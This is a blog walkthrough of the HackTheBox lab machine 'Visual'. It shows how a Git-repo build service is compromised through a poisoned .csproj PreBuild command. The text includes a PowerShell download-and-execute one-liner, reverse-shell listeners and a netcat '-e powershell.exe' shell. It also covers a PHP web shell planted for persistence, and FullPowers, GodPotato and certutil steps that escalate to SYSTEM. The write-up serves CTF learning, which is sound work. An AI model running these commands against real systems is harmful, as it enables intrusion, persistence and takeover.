HackTheBox | Visual

In this walkthrough, I demonstrate how I obtained complete ownership of Visual on HackTheBox
HackTheBox | Visual
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Wed Feb 14 15:43:16 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt
Nmap scan report for
Host is up (0.014s latency).
Not shown: 64813 filtered tcp ports (no-response), 721 closed tcp ports (reset)
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host

TRACEROUTE (using port 9996/tcp)
1   14.56 ms
2   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 14 15:45:51 2024 -- 1 IP address (1 host up) scanned in 155.22 seconds

Service Enumeration


Exploring the Application

Simply provide us with your Git Repo link, and we'll handle the rest. Our cutting-edge technology compiles your projects and sends back the executable or DLL files you need, effortlessly and efficiently.

Whatever you enter into the text box will be submitted as a HTTP POST request to as type of url with the gitRepoLink as the name field and our input as the value.

Let's just test the application as a normal user for now — inputting a real GitHub repo link — and catch it in Burp Suite to see what that looks like.

Testing the Build Form

We know this target is not going to have Internet access, so let's git clone the repo and host it locally to see if it will pull the file(s).

git clone https://github.com/0xBEN/PSToolbox.git
sudo python3 -m http.server 80 --directory ./PSToolbox
There is a roughly one-minute window between clicking Submit and the target attempting to fetch the resources from the attacker-controlled server, likely due to some kind of queue involved with the build procedure.

Understanding the Build Process

So far, we can see some breadcrumbs referencing git-upload-pack and a .sln file.

Git - git-upload-pack Documentation

It seems that a git client on the target is attempting to git clone our repository locally and compile the code. We can't be certain about the underlying git operations on the target, so we should find a way to host a better git server.

how to run a makeshift http git server python3 http.server - Google Search

Searching for Exploits

I tried searching Google for intext:"git-upload-pack" exploit but didn't see anything too promising. However, my next search did return something interesting.

Experimenting with EvilSln

This exploit did not work for me due to the nature of the exploit. I'm simply documenting this here to be transparent about my thought process and failures.

This requires that the .sln file be opened in Visual Studio to execute the malicious .sudo file. I think this target is simply doing git clone and compiling on the command line. The reference to .sln in the error output was misleading.
intext:”.sln” exploit - Google Search
Understanding the Exploit

Reading over the exploit write-up, Visual Studio will read data from a .suo file in the .vs folder hierarchy and deserialize some binary data when a .sln file is opened. An attacker could create a project with a pre-existing poisoned .suo file. Because the binary data is deserialized, the data is run in memory, causing code execution without requiring the compiler to run. Furthermore, it does not place typical restrictions on .sln files — even when the files are downloaded over HTTP.

I used wine on Kali Linux to generate the ysoserial payload and place it in the .suo file. I have notes on installing wine on Kali Linux here:

Installing Wine and Wi... | 0xBEN | Notes
Considerations I urge you to consider taking a snapshot of your Kali instance at its current state…

Creating and Testing the Payload
Because this is a git based attack, we can't just git clone and modify files. Since git is a version-control system, any time we modify files, we have to commit them to the repository.
Create a fork of the repository in your own GitHub account

Referencing the EvilSln readme, we know that the BinaryFormatter.Deserialize happens on the ToolboxItemContainer object. I tried outputting hex and base64 without any luck.

LD_PRELOAD= wine ysoserial.exe -g ToolboxItemContainer -f BinaryFormatter -o hex -c 'ping' 2>/dev/null > .suo

Create the serialized payload and store it in the .suo file

Add a file to the .vs/App1/v17 path
Choose your .suo file and commit the changes
git --bare clone https://github.com/0xBEN/EvilSln
cd EvilSln/.git
git --bare update-server-info
mv hooks/post-update.sample hooks/post-update
cd ../../

Clone the repository

Note that any time you make changes on github.com to your repository, cd into your directory locally and run git pull to get the latest set of files.
sudo python3 -m http.server 80

Server the repository over HTTP

sudo tcpdump -ni tun0 icmp

Sniff for ICMP traffic to see if the payload works

Submit the local repo URL

I know that the .sln file was opened by the server as it's in the error output, so it seems this payload is not going to work. As I mentioned before, this is likely due to compiling being done on the command line as opposed to opening with Visual Studio.


"C:\Windows\Temp\715d2d5ea064dc63add6e11b1a90f3\App1.sln" (default target) (1) ->
(Build target) -> 
  C:\Windows\Temp\715d2d5ea064dc63add6e11b1a90f3\App1.sln.metaproj : error MSB3202: The project file "C:\Windows\Temp\715d2d5ea064dc63add6e11b1a90f3\App1\App1.csproj" was not found. [C:\Windows\Temp\715d2d5ea064dc63add6e11b1a90f3\App1.sln]

    0 Warning(s)
    1 Error(s)

Time Elapsed 00:00:00.09

Experimenting with Pre-Compile Exploits

Note that this isn't a security flaw, per se. This is functionality built into Visual Studio compilation that allows you to run a set of commands before compiling the project, or include some files for the project. There may be legitimate use-cases for this, but as you see, it can also be abused.

We can use the existing EvilSln forked repository for this next step. We note in the repository readme that we should be able to poison a .sln or .csproj file to gain command execution on the target. This happens, because these commands are executed prior to compiling.

I searched Google for example: .csproj files that I could duplicate.

site%3Agithub.com intext%3Aprebuild intext%3Acsproj - Google Search
<Project Sdk="Microsoft.NET.Sdk">

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="ping" />


If we look at the App1.sln file, you can see that it points to App1/App1.csproj, so we'll put the data there.

Create App1/App1.csproj on GitHub.com
cd EvilSln
git pull
cd .git
git --bare update-server-info
cd ../../
sudo python3 -m http.server 80

Pull the latest files and host the EvilSln repository over HTTP

sudo tcpdump -ni tun0 icmp

Sniff for ICMP traffic to see if the payload works

Submit the GitHub repository in the target form and wait for it to pull your files and compile the project.

We got ICMP traffic back from the target! 🎉


Reverse Shell

The application on the target does not take any steps to ensure that GitHub repositories it pulls do not contain any malicious files before compilation. Since Visual Studio projects present a wide attack surface, the service provider has a difficult task of creating a multi-faceted approach to ensure that files are sanitized and that certain commands are not run.

powershell reverse shell site%3Agithub.com inurl%3Aps1 - Google Search
PowerShell-reverse-shell/powershell-reverse-shell.ps1 at main · martinsohn/PowerShell-reverse-shell
Reverse TCP shell in PowerShell for fun. Made in spring 2020 with inspiration from (and a few fixes to) samratashok/nishang Invoke-PowerShellTcp.ps1 and https://cyberwardog.blogspot.com/2016/08/pow…
wget https://github.com/martinsohn/PowerShell-reverse-shell/raw/main/powershell-reverse-shell.ps1 -O sh.ps1

Download the reverse shell .ps1 script and save it as sh.ps1

nano sh.ps1

Edit the script

$TCPClient = New-Object Net.Sockets.TCPClient('', 13337)

Change this line to use your HTB VPN IP and your desired TCP Port

This is the command to inset into your .csproj file. We must use the &quot; escapes, as we're nesting " inside an XML node attribute. Otherwise, the XML parser would view them as XML data.

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell -ep bypass -nop -w hidden -c &quot;Invoke-Expression (-join[char[]]((Invoke-WebRequest -UseBasicParsing;" />

HTTP GET the 'sh.ps1' file and read the '.Content' property which is a byte array. Then, reconstruct the raw bytes to a string and execute with Invoke-Expression

cd EvilSln
git pull
cd .git
git --bare update-server-info
cd ../../
sudo python3 -m http.server 80

Pull the latest files from your repo and host them over HTTP

sudo rlwrap nc -lnvp 443

Start a TCP listener on the port specified in your 'sh.ps1' file

Shell Upgrade

The target is running a xampp server as evidenced by the Server banner being Apache and the presence of a C:\xampp directory. I want to be able to continue to run commands on the target even if my shell dies, so I'll add a PHP web shell there for quick recovery.
wwwolf-php-webshell/webshell.php at master · WhiteWinterWolf/wwwolf-php-webshell
WhiteWinterWolf’s PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

I'm going to save this PHP shell locally in sh.php. I'm also going to store nc.exe in the xampp directory for easy access. I can use the HTTP server I already have running using python3.

wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe

Download the 64-bit binary on Kali to your current directory running the HTTP server

Invoke-WebRequest -O C:\xampp\htdocs\nc.exe
Invoke-WebRequest -O C:\xampp\htdocs\sh.php
I can just go back here if my shell dies
sudo rlwrap nc -lnvp 443

Start up another TCP listener

C:\xampp\htdocs\nc.exe 443 -e powershell.exe

Start a PowerShell reverse shell with better performance

Post-Exploit Enumeration

Operating Environment

OS & Kernel


User Name   SID                                          
=========== =============================================
visual\enox S-1-5-21-328618757-2344576039-2580610453-1003

PS C:\> systeminfo

Host Name:                 VISUAL
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-00521-62775-AA642
Original Install Date:     6/10/2023, 9:08:12 AM
System Boot Time:          2/16/2024, 10:41:46 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
                           [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,103 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,928 MB
Virtual Memory: In Use:    871 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.    

Current User


User Name   SID                                          
=========== =============================================
visual\enox S-1-5-21-328618757-2344576039-2580610453-1003


Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   


Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled    

Users and Groups

Local Users

Administrator            DefaultAccount           enox                     
Guest                    WDAGUtilityAccount           

Local Groups

*Access Control Assistance Operators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Hyper-V Administrators
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Storage Replica Administrators
*System Managed Accounts Group

Network Configurations

Network Interfaces

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . :    

Open Ports

::                                  49668     ::                                  0          Listen                    
::                                  49667     ::                                  0          Listen                    
::                                  49666     ::                                  0          Listen                    
::                                  49665     ::                                  0          Listen                    
::                                  49664     ::                                  0          Listen                    
::                                  47001     ::                                  0          Listen                    
::                                  5985      ::                                  0          Listen                    
::                                  445       ::                                  0          Listen                    
::                                  443       ::                                  0          Listen                    
::                                  135       ::                                  0          Listen                    
::                                  80        ::                                  0          Listen                                        49668                             0          Listen                                        49667                             0          Listen                                        49666                             0          Listen                                        49665                             0          Listen                                        49664                             0          Listen                                        443                             0          Listen                                   139                             0          Listen                                        135                             0          Listen                                        80                             0          Listen    

Processes and Services

Interesting Services

Name      : ApacheHTTPServer
StartName : NT AUTHORITY\Local Service
PathName  : "C:\Xampp\apache\bin\httpd.exe" -k runservice

Privilege Escalation

Lateral to LocalService

Ironically, while doing this write-up, I didn't realize that my privilege escalation would turn to a pivot to the Apache web server itself. But, after some lengthy enumeration, I saw a viable privilege escalation path that could involve becoming a service account.

I'll just leverage the sh.php and nc.exe files I dropped in C:\xampp\htdocs\ earlier in the write-up.

sudo rlwrap nc -lnvp 443

Start another TCP listener

We can use the FullPowers.exe binary to recover the default privileges that service accounts on Windows used to ship with.

GitHub - itm4n/FullPowers: Recover the default privilege set of a LOCAL/NETWORK SERVICE account
Recover the default privilege set of a LOCAL/NETWORK SERVICE account - itm4n/FullPowers

Escalate to SYSTEM

Now that we have the SeImpersonatePrivilege, we can pretty easily use a Potato attack to spawn a process with NT AUTHORITY\SYSTEM privileges. GodPotato is very convenient in that it can run on even the most recent versions of Windows operating systems.

Releases · BeichenDream/GodPotato
Contribute to BeichenDream/GodPotato development by creating an account on GitHub.
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe -O potato.exe

We can use host this using existing python3 HTTP server

certutil -f -urlcache -split C:\Windows\Tasks\potato.exe
certutil -f -urlcache -split C:\Windows\Tasks\nc.exe
cd C:\Windows\Tasks

Download the files to the target





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.